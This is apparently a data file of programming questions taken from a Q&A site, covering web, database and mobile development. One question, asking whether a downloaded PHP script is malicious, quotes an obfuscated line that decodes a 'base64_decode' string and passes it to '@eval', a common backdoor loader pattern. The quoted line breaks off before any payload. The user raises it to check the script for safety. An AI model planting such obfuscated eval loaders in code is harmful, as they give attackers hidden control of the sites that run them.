instruction_seed
stringlengths
1
35.8k
_source
stringclasses
1 value
I often need to check if expr1==expr2, where checking for symbolic equality is hard, but a numeric check suffices To deal with such cases it would be neat to have TildeTilde work like Equal but instead of checking symbolic equality it would substitute unknowns with numeric values and check for numeric equality at sever...
stackexchange/codereview
What does it mean to float left, then clear left. Or float left, then clear right? Can anyone help me understand this. I'm not a CSS guy, but need to understand some of the CSS I'm working with. #elem1{ float:left; clear:left; } #elem2{ float:left; clear:right; }
stackexchange/codereview
My form look something like this: [ radio ] Use your current picture [ radio ] Use the sites default SELECT THIS ONE DYNAMICALLY --> [ radio ] Upload a picture from your computer ---------------- [BrowseButton] The only problem with this is that when a user clicks on either the input field itself ("----"), or the Bro...
stackexchange/codereview
How do i achieve this directory format using the RegEx. Input FileName(40 chars) : 000a2d0e62e43b0f680a6eb6019f9671b15ca291 output should looks like this: 00\0a2\d0e\62e43 get only the first 13th character. Thanks a lot. johnL
stackexchange/codereview
Is there a way I can get all the links for a user in bit.ly trought the API? I need to list top 10 links for a user, based on clicks, but I can't find a way in the API-Documentation. Thanks a lot in advance
stackexchange/codereview
I just begin to learn jquery ajax framework here is my first attempt: <div> <input id="ajax" type="button" value="Read" /> </div> also the js code: $("#ajax").click(function () { $.ajax({ type: "get", url: "http://www.111222333444555.com", //url: "http://www.goog...
stackexchange/codereview
I have this expression ("[^"]+")|(\s\S*\s) which gets any characters that are in quotes and with white spaces around it. Seems to work ok, but i was wondering if its possible to get just the characters inside the quotes and whitespaces. I tried: ("[^"]+")|([^\s]\S*[^\s]) but i am not sure how to do the same for qu...
stackexchange/codereview
I'm trying to return a success notice if the $_GET['success'] is set. It works fine if I input it like this: mail?inbox&success But I'm trying to make it work if I input it like this: mail/inbox/success or mail/inbox&success I'm not very experienced with mod_rewrite and I havent found a solution yet so I'm asking here....
stackexchange/codereview
Does Google protocol buffers are binary-compatibly with C structures? I mean can I read serialized files from C direct into structs without deserializing? Or protobuf-c is the only one solution?
stackexchange/codereview
I want to get contacts saved in phone only not sim contacts using new api contactContracts i am doing this by filtering Account type (not com.anddroid.contacts.sim),this work for one handset(HTC Desire) but there is no common account type found which can work for all handsets can anybody tell me how to do that
stackexchange/codereview
I'm trying to remotely debug a C# program. Connecting to the host is not problem and I can see all the processes on running on that machine, and can connect to the msvsmon.exe. However, the program I want to debug crashes immediately on launch giving me no time to attach myself to it. Also launching the debug executa...
stackexchange/codereview
issue during implementing twitter API. when i send a request using http://twitter.com/statuses/friends_timeline.xml i got a message Basic authentication is not supported Can anyone provide me some sample examples of implementing twitter api.?
stackexchange/codereview
I'm working on a personal learning project to help me understand how to use Castle Windsor and Fluent NHibernate. So far written an ASP.NET MVC project which does some basic dependency injection of services into controllers. My project contains the following references: Castle.Core 1.2.0.0 Castle.DynamicProxy 2.2.0.0 C...
stackexchange/codereview
Ive downloaded Apple's iAd code examples iAdSuite and when I compiled it to both the simulator and the device (4.1) I never see an ad. Anyone know whats going on?
stackexchange/codereview
I have created a roo project following the typical persistence setup instructions resulting in a Hibernate and Hypersonic in-memory data layer. I was wondering how it's possible to add another, say Hibernate and PostgreSQL, persistence layer with the ability to switch between both, using one for development and the oth...
stackexchange/codereview
I'am starting to learn Zend Framework , i set up my first project right and created my database and wrote the action indexAction in IndexController but when i try to see the url http://localhost/zf-tutorial/public/ i get the following error : Uncaught exception 'Zend_Db_Adapter_Exception' with message 'Configuration a...
stackexchange/codereview
I have been a high-level coder, and architectures are pretty new to me, so I decided to read the tutorial on Assembly here: http://en.wikibooks.org/wiki/X86_Assembly/Print_Version Far down the tutorial, instructions on how to convert the Hello World! program #include <stdio.h> int main(void) { printf("Hello, wor...
stackexchange/codereview
I'm using the latest version of the FacebookSDK (4.0.2) (facebooksdk.codeplex.com) And I noticed the Src code is made up of several projects namely: 1) Samples -> Facebook.Samples.AspWebsite Project Samples -> Facebook.Samples.MvcFacebookApp Project Samples -> Facebook.Samples.MvcWebsite Project 2) Tests -> Facebook.Te...
stackexchange/codereview
I have a mysql table which contains following cols. Id Name Sex and sex column have type of enum('Male','Female','Unspecified') How can i list enum values in a dropdown and make current stored value as selected
stackexchange/codereview
I'm looking to replicate and improve upon the following AlertDialog in my app: https://i.stack.imgur.com/aU3Ep.png Is this a built-in AlertDialog, or was this made from scratch? If it was made from scratch, what control/widget is the number picker? Or is that built from scratch too? Thanks! btw.. screenshot is from Mat...
stackexchange/codereview
I am having a class which is used as the key in the unordered_map. When I tried to compiled the code, it shows undefined reference to std::hash<typeName>::operator()(typename) const. How could I go to fix it? What additional function do I need to overload to make the user defined type to be used in an unordered_map? I ...
stackexchange/codereview
I am using Eclipse for Android dev and everything was going fine until I tried to incorporate the facebook SDK. Now when I tried to back it out, there appears to be an artifact left behind that Eclipse tries to link the FB library?!? [2010-11-17 18:50:22 - Library Project] Unable to set linked path var '_android_com.f...
stackexchange/codereview
I can construct a UIImageView object with myImageView = [[UIImageView alloc] initWithImage:image]; Following application activity affecting the display, if I want to change the image on the UIImageView. I can do so by reassigning it with myImageView.image = someNewImage. However this doesn't seem to update the frame di...
stackexchange/codereview
When am I supposed to use the initWithCoder: method?
stackexchange/codereview
I have a simple question about Jquery and checkboxes. I have never worked with JQuery before but basically I have a checkbox and it will be set to "checked" by default when the user enters the page. I want jquery to detect that it is checked which will then trigger a separate function. I've only been able to get this t...
stackexchange/codereview
I've assigned a shortcut (ctrl+shift+z) for my firefox addon menu item by following code in xul file but unfortunately it does not work. what is the problem? <keyset id="mainKeyset"> <key id="key_convert" key="z" modifiers="accel shift"/> </keyset> <menupopup id="menu_ToolsPopup"> <menuitem id="mye...
stackexchange/codereview
I have two simple examples to demonstrate my problem. When I run scenario 1, I am able to navigate the list view as normal, using the extended selection mode to choose items. When I run scenario 2, I find that navigating my list view is slow, and selecting items doesn't function correctly. It's difficult to explain, h...
stackexchange/codereview
My solution (for every bit of the input block, there is such a line): *parity ^= (((x[0] >> 30) & 0x00000001) * 0xc3e0d69f); All types are uint32. This line takes the second bit of the input x, shifts it to the LSB and sets all other bits to zero. Then, the 32-bit parity is XORed with the corresponding parity set for ...
stackexchange/codereview
Other than looping through each element in an array and setting each one to null, is there a native function in Java / processing to simply empty an array (or destroy it, to be able to redeclare it as a new array)?
stackexchange/codereview
Is it possible to have Eclipse PDT and CFEclipse installed on the same machine? Seems that PDT gets overwritten when I install CFEclipse on OSX.
stackexchange/codereview
So, it turned out i was missing a semi-colon from my PYTHONPATH definition. But this only got me so far. for some reason, my script did NOT work as a scheduled task (on WinXP) until I explicitly added a directory from PYTHONPATH to the top of my script. Question is: When do I need to explicitly append something to my p...
stackexchange/codereview
I know with FileUploader you need to do a full post back. But I thought with AsyncFileUpload didn't work this way. My hasFile is always returning false. (I upload an image, and then I hit the form submit button, to find out my asyncFileUpload returns false) <asp:AsyncFileUpload ID="AsyncFileUpload1" Width="200px" Too...
stackexchange/codereview
I have a vertex shader in which I do a texture lookup to determine gl_Position. I am using this as part of a GPU particle simulation system, where particle positions are stored in a texture. It seems that: vec4 textureValue = texture2D(dataTexture, vec2(1.0, 1.0)); behaves differently on the simulator than the iPad dev...
stackexchange/codereview
I'm trying to convert the output of vmstat into a CSV file using Python, so I use something like this to convert to CSV and add the date and time as coloumns: vmstat 5 | python myscript.py >> vmstat.log The problem I'm having is it blocks while trying to iterate sys.stdin. It seems like the input buffer doesn't get fl...
stackexchange/codereview
I wanna check if there any image on a folder from my server. I have this little function in PHP but is not working and I don't know why: $path = 'folder/'.$id; function check($path) { if ($handle = opendir($path)) { $array = array(); while (false !== ($file = readdir($handle))) { if ($fi...
stackexchange/codereview
Show status like 'Qcache_queries_in_cache' returns: +-------------------------+----------+ | Variable_name | Value | +-------------------------+----------+ | Qcache_queries_in_cache | 327 | +-------------------------+----------+ How do I print these 327 queries? In an attempt to optimize mysql cachin...
stackexchange/codereview
I'm using Spring 3 and JSR 303. I have a form backing object whose nested objects need to be validated. In the example below, how do I validate formObject.getFoo().getBean()? When I run the code below, the result parameter is always empty, even if the HTML page submits nothing, when the validation should fail. Note tha...
stackexchange/codereview
I typed this into terminal: rails generate migration CreateAddress and instead of creating a new migration file, it created the entirety of a naked rails app. What is wrong here?
stackexchange/codereview
I'm trying to develop a stand-alone client app that uses web services in a Glassfish container (Metro). About all I have to work from is a wsdl for the wervices I'm trying to use. The wsdl is rife with all kinds of 'wsp:Policy' tags. Looks like IssuedToken, Trust13, ecryption are all utilized. So I generated some code...
stackexchange/codereview
I'm developing a MVC-based application and I've now set the .htaccess rewrite rules. However, I'm having problems to make everything appear correctly. This is my .htaccess: RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ index.php?a=$1 [L,NS] I'm having probl...
stackexchange/codereview
Till yetsterday everything was working fine on my iPhone. Starting today, I noticed that CLLocationManager does not prompt the user "this app wants to use your location" and proceeds to return me null in the didUpdateToLocation. I have tried signing my app with dev provisioning, adhoc and prod profiles. Also, I am maki...
stackexchange/codereview
Note: Before reading this question and its answer, please check your input element has name attribute. I am trying to upload file using servlet. Eclipse console shows no errors. But the file is not getting uploaded. For me, it seems everything is fine. But I am making mistake somewhere. In console I get just Inside S...
stackexchange/codereview
I want to join the result set of common table expression with the existing table. The problem arise using the group by clause as given in the following query. Can anyone please tell me how to join those two tables?. With CTEQuery as (SELECT StudentOnlineExamCourseAnswer.StudentID, StudentOnlineExamCourseAnswer.Onli...
stackexchange/codereview
Hi I want to construct a dynamic Entity Framework Linq query with all the properties of an object. Example I want to :- 1) Object test has 5 public properties. 2) I want to loop through this object and check if each string property is null or empty. 3) If not, I want to write a query that will append a where condition ...
stackexchange/codereview
Our company want to setup a User Profile Synchronization on SharePoint 2010. In Manage User Properties page, we can successfully configure a property to either import from AD to MOSS or export from MOSS to AD! However, we want to configure some properties that allow synchronize in both direction, which is actual meani...
stackexchange/codereview
I’m making a form with a checkbox where if checked a target file is appended with text-A and if Unchecked the file is appended with text-B How can I do this? what i have sofar: Private Sub CheckBox1_Checked(ByVal sender As Object, ByVal e As System.EventArgs) Handles CheckBox1.Checked Dim FILE_NAME As String = ...
stackexchange/codereview
In the ComboBox.SelectionChanged event I want to know who changed the ComboBox value, the user or some other code. At first I checked if cmbBox.IsDropDownOpen is true. But this is false if the user changed the ComboBox with the keyboard. Then I thought to check if it focused. Silverlight ComboBox doesn't have a IsFocus...
stackexchange/codereview
I have a input field/textbox and basicly the user presses a button to save the content of edittextbox.text to a stringparameter &#x1F; are the charaters thats being saved.. so my question is where do they come from and how can i parse these out before saveing XML content? when i debugg my textbox it shows up as a regul...
stackexchange/codereview
I have convert the PDF to image,I try using the exec,by excute the linux command like '/usr/bin/convert -density 300x300 file.pdf[0] -resample 160 -resize 512x700! images/sample-0.jpeg 2>&1'.But i have read some articles that it slow as compare to imagick php module.so try using php with code $uploadfile = "file.pdf"...
stackexchange/codereview
I have a problem with an Autocompletetextview. If I use an emulator with wvga800 resolution and I have the autocompletetextview on the bottom of the screen, the direction of the drop down list is down, while if I use an emulator with a HVGA resolution the direction is up (the direction I want). How can I indicate the d...
stackexchange/codereview
Lets consider next scenario: assume I have a web app, and authentication of users is performed through a modal dialog window (lets say, that when a user clicks login button, ajax request is sent and depending on the callback I either close the window or display an error), and I use only HTTP protocol. Why is it conside...
stackexchange/codereview
For my project,am creating delegate class. When i assign obj.delegate = self, [self retainCount] get increased by one. So that assigned object having retain count is 2. how should release delegate object and assigned object retaincount is 1? Regards Srini
stackexchange/codereview
I have 5 pictures, img1.jpg, img2.png, img3.gif, img4.jpg, img5.png. How do I determine the picture size, if it is a Horizontal picture( width is more than height)width>=300px and height>=200, then insert into the database? Else the picture is a Vertical picture or width less than 300px and height less than 200px, do...
stackexchange/codereview
I want to convert a string to an url and, instead of a space, it needs a "+" between the keywords. For instance: "Hello I am" to: "Hello+I+am" How should i do this?
stackexchange/codereview
I am learning java on my own. I have books to read. but i feel i am not really coding anything significant . Can you guys give me any programming problem that would really help me get more practical experience rather than a theoretical experience with java ? Appreciate it. silverkid
stackexchange/codereview
I found <rs:Page> <mx:Image source="@Embed('image1.jpg')" /> <mx:Label x="400" y="40" fontFamily="Verdana" fontSize="9" color="#cccccc" text="butn" /> <mx:Label left="100" right="120" y="90" color="#Ffccdd" textAlign="left" text="Label Text" /> </rs:Page> In a mxml file. What does that means? Edit: 1...
stackexchange/codereview
I'm using a custom class to store information about files found in a directory based upon a regex, and I need to return these filelists from a method. Here's some psuedocode of how it's currently working: class FileList { //propertes of the file here, such as regex name, source folder and whether it needs to be deleted...
stackexchange/codereview
Would it be a good Idea to use Symfony with Zend_Navigation ? I already have integrated Zend Libs with Symfony
stackexchange/codereview
is there any way to use multiple response filters in ASP.NET? HttpContext.Current.Response.Filter = MyFilter1 HttpContext.Current.Response.Filter = MyFilter2 This code is clear, can't work. It overrides the current filter with the new instance. So, what are your best practice for this scenario. Thank and best regards....
stackexchange/codereview
We're using Selenium with the Java API and some Javascript user extensions. We use a lot of AJAX calls in our app. A lot of our tests fail randomly because sometimes the AJAX calls finish slower than other times so the page isn't fully loaded. We fix that by waiting for specific elements or Thread.sleep. I was trying t...
stackexchange/codereview
I have the following text Instructor First Number Students Who Number Students Who Subject Course Section Instructor Last Name A B C D F Name ...
stackexchange/codereview
first off, this is more of a question about animating than a specific problem coding. i need to fill in the broad strokes left by the research i've been doing. what i'm trying to do: the activity should load with only the a togglebutton visible. when the button is touched, a png will be animated to a certain position...
stackexchange/codereview
I am writing an Application that executes sql queries on a database in real time. If I setup mirroring of the SQL Server and setup a FailoverPartner in the connection string and if the primary database goes down, will the secondary kick in automatically and therefore I do not have to re-open a connection or clear any...
stackexchange/codereview
I'm finding a way to realtime messaging in iPhone SDK. iPhone Safari doesn't support Web socket. Apple push notification is working only on application is close. I want to make like chat program with real time. There is other way except web socket ?
stackexchange/codereview
I have a PHP application that I want to also publish with a different look and feel. We've chosen to do that using XSLT. That way we don't have to touch the PHP application and run risk introducing instability in the original. That's important since we're close to production. I've looked into ways of doing XSLT process...
stackexchange/codereview
I have a Drupal site using jQuery 1.3, so that unfortunately I cannot use the live function. I need to intercept a click/change event of a dynamically created item. How can I do that without using live? I cannot upgrade to jquery 1.4.
stackexchange/codereview
I wrote this little test script in Ruby (on MacOS): #!/usr/bin/ruby require 'digest/sha2' def calc_sha(file) # calc hash hash = Digest::SHA2.new File.open(file, 'r') do |fh| fh.each_line do |l| hash << l end end hash.to_s end puts calc_sha('dont-panic.jpeg') puts '40075d8441ab6a9abeceb7039552...
stackexchange/codereview
I successfully build several projects using < csc target="exe">. However, when I try to run the generated exe, I get: Unhandled Exception: System.TypeInitializationException: The type initializer for 'Quartz.Impl.StdSchedulerFactory' threw an exception. ---> System.IO.FileNotFoundException: Could not load file or asse...
stackexchange/codereview
my php file has the following simple code : The time is <?php echo date(‘H:i:s’);?> and the date is <?php echo date(‘j F Y’);?> But i am getting the following error on typing the command : http://localhost/time.php 404 Not Found An error occured trying to access document or resource /time.php. Please contact the serv...
stackexchange/codereview
I work for a local library that just had a consulting company do a migration of their IIS installation from one server to another. It wasn't until a few days ago that my boss noticed that login.aspx seemed to have broken. I have little knowledge of ASP.NET but I just have a feeling this is something really simple. Here...
stackexchange/codereview
Problem I have a file which contains such text (nothing else) 2010-10-05 I would like to embed this file (content) in the C# code, so I could assign this text to constant (string MyDate), and later use this constant. Background What I try to achieve is keeping information about the program in sync -- both on website an...
stackexchange/codereview
I downloaded a free reviews script from http://www.freereviewscript.com One of the files is encoded and I want to ensure it doesn't have anything malicious! Any help would be much appreciated! Thank you!! php Code (WITHOUT php tags): $ve08156dfe67="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";@eval($ve08156dfe6...
stackexchange/codereview
We are testing our MS Access application against a new SQL Server 2008 database server. We have forms that sort alphabetically because of an order by in the view, the sort is correct when the access application is connected to the SQL Server 2000 Database. However, when I connect to our new 2008 database, those sorting...
stackexchange/codereview
I was apartment-shopping via Google Maps, copying various listings into a spreadsheet so I could more easily compare and attach notes, when I realized how unnecessarily repetitive and inefficient this was. I could easily write a script to automatically query Google and extract the data I need, but to get some of the da...
stackexchange/codereview
The MSBuild activity in the DefaultTemplate.xaml accepts an expression for the Targets property. What is the syntax for the expression I need to enter here? All my efforts so far have failed. Here is my latest failed attempt: List(Of String) From () {"\Server1\Folder1"}
stackexchange/codereview
I have an application that I'm working on and when I try to send an E-Mail, the E-Mail sends successfully but the application then uses 50% CPU until it is closed. Here is the send method which is causing the problem. public void Send() { if(System.String.IsNullOrEmpty(this.Server)) { throw new Preferen...
stackexchange/codereview
What is the best way to do the equivalent of execute scalar in T-SQL? In other words, using SQL, how can I get the first column of the first row of the first result set when I call a stored procedure? Edit: Just to clarify, this is only using SQL, no client-side language. The result set could be something like: Id De...
stackexchange/codereview
I want to rank a set of variables every day (starting with a zoo series). Here's an example: set.seed(1) x <- zoo(matrix(rnorm(9), nrow=3), as.Date("2010-01-01") + 0:2) colnames(x) <- letters[1:3] The only way I know to do this is with rollapply, but this is quite slow. > rollapply(x, 1, rank, by.column=FALSE) ...
stackexchange/codereview
I am currently stumped on how to use arrays to complete an assignment. I've looked through the forums and used google with little luck. I would really appreciate any advice that someone can spare. Thank you very much!: Create the arrays for my 2 sets of radio buttons as well as for the font sizes and for fonts Remove ...
stackexchange/codereview
I'm trying to create a string to pass to a PHP file with numerous variables in it. The Javascript code goes through an array of variables - the names of which correspond to checkboxes in a form on the page. If the name of the variable in the array has been checked in the form below then it adds the name of the variable...
stackexchange/codereview
I am using Tapestry 4.1 for the web development. When I go through my HTML pages. At times, some of the pages are coming blank and view source of all those pages has the source code :(. This is not happening on specific pages but happening very randomly on any page and very frequently. Not sure what could be the reaso...
stackexchange/codereview
Can someone point to some current up to date resources on this topic? Have searched like anything but most tutos like Iczelion's are a decade old and no longer current.
stackexchange/codereview
I'm just starting to learn PHP. I have a friend who's fairly good at it, and had him look at my code, and he couldn't see anything wrong with it, and said I should try here. Basically, I was just playing around and wanted to make a simple "to-do" list. Here is the code for my index.php file: <html> <title> Tasks </titl...
stackexchange/codereview
I want to remove tiki-index.php from the url. (at present this looks like http://domain.com/mytiki/tiki-index.php) I added the line RewriteRule (.*) tiki-index.php to the .htaccess file. it serves the purpose the problem is if I use this, the list of pages in the admin side do not show up. Please help. Thanks. DB
stackexchange/codereview
I need some clever and rather simple solution to my problem - province shape generation. Suppose that map is matrix NxM. Each cell is represented by natural number. 0 means that tile does not belong to any province. numbers 1 means that it belongs to province nr 1, nr 2 means that cell belongs to province nr 2... etc. ...
stackexchange/codereview
How to assert the multiline string with RSpec? I've something like below as expectation: it "should generate the correct header for the xml file" do xml_header = <<-XML <?xml version="1.0" encoding="utf-8"?> <FileSpec> <Header> <Version>1.0</Version> <DateTime>2010-10-17T10:41:18</DateTime> ...
stackexchange/codereview
Classes are useful and all, but when I'm writing a class I always think about it as an heavy rock on my script. I feel like classes should rarely be used. But at the same time we are all mindshelled with the OOP paradigm. Should a script never have free functions? Should I use thousand classes just to make the script ...
stackexchange/codereview
how do I compile Flash .FLAs using command line? I am using Eclipse + FDT for Flash development and I would like to use ANT to automatize the compilation. I am using AS3 and need to compile for Flash Player 10.1. Many thanks Update: I need to compile .FLAs because that's what I get from our designers.
stackexchange/codereview
I'm wanting to display the first row of a SqlDataReader (its the only row/column the database returns) in a text field. I thought this was the correct syntax but i get 'no data' error. I can ensure that the sql query being used should definitely return an answer, i've checked it in SQL Server. SqlCommand sqlCommand = n...
stackexchange/codereview
I have a asp.net-mvc website with a SQL server backend (using nhibernate for OR mapping). Users have to login and I want to allow users to associate a picture with themselves so I can show the picture along side the persons name in a few places (kind of like what facebook does) I want to avoid storing the pictures i...
stackexchange/codereview
I'm trying to download an image from server and save the image on mobile phone.I'm able to download the image but I need to resize the image and then store the image to mobile. the code is like this. public void requestPlatform(String strURL) throws IOException { try { System.out.println("requestPlatform"); ...
stackexchange/codereview
I'm trying to come up with a solution for working on my PhoneGap projects. At the moment I'm developing in one folder and then copying over the edited files into the www folder of xcode - so I can keep a git repo separate to what gets built. This is becoming very repetitive and I want to automate it. Any ideas? Basical...
stackexchange/codereview
i.e Say: select * from tblname where col1 NOT IN array; have problem using NOT IN.... but not when i do: col1 = 'singlevalue'; Please help
stackexchange/codereview
The function should print the markings of the argument tree in layers as a list of layers. The node and leaf markings in each layer are listed from left to right, that is, which is the most left node of the layer, the first element of the list, the right-most node is the last element of the list. The argument of type O...
stackexchange/codereview
So I'm looking for the absolute, fastest way to perform the following: Load jQuery Load my-library.js Execute some DOM manipulation I'm finding lots of conflicting and out-dated information but so far I think I should be doing the following: Prevent render blocking by doing some fancy script load deferring in the hea...
stackexchange/codereview
I am creating a JSF application and I have a bunch of images (avatars) stored in my DB as blobs. I am trying to create a servlet so I can call a url such as "/imageServlet?123 and it will call my servlet pass the 123 as the id etc etc and output the Stream. I am very new to Spring but I did some reading and it looks li...
stackexchange/codereview
I have a J2EE web application with both protected pages and unprotected pages. Once I have successfully authenticated and visited a protected page, I immediately visit an unprotected page. At this point, getRemoteUser() returns null as if I had never authenticated. Is this expected behavior with respect to J2EE secu...
stackexchange/codereview
NCover has an attribute IgnoreFromCoverage that allows for code to be marked for exclusion during code coverage analysis. Is there a way to do this with the VSTS Code Coverage Tools? Obvious uses for this would be auto property getters and setters, non obvious uses may be code generated by R# equals implementation or O...
stackexchange/codereview
My app is an java webapp (WAR) that uses Apache Camel and (among others) CXF-RS and its corresponding Camel component as an implementation of JAX-RS to provide ReSTful services to the outside world. When invoking one of the endpoints with an HTTP POST and a valid payload I get the Exception stack trace as you can see b...
stackexchange/codereview
I'm trying to develop a website to do some collaborative brainstorming with my friends. While there are plenty of websites offering mind-mapping services online, I would like to create my own so that we can share files/data while we brainstorm. So, I am looking for a plugin which I can embed in my HTML page to give us ...
stackexchange/codereview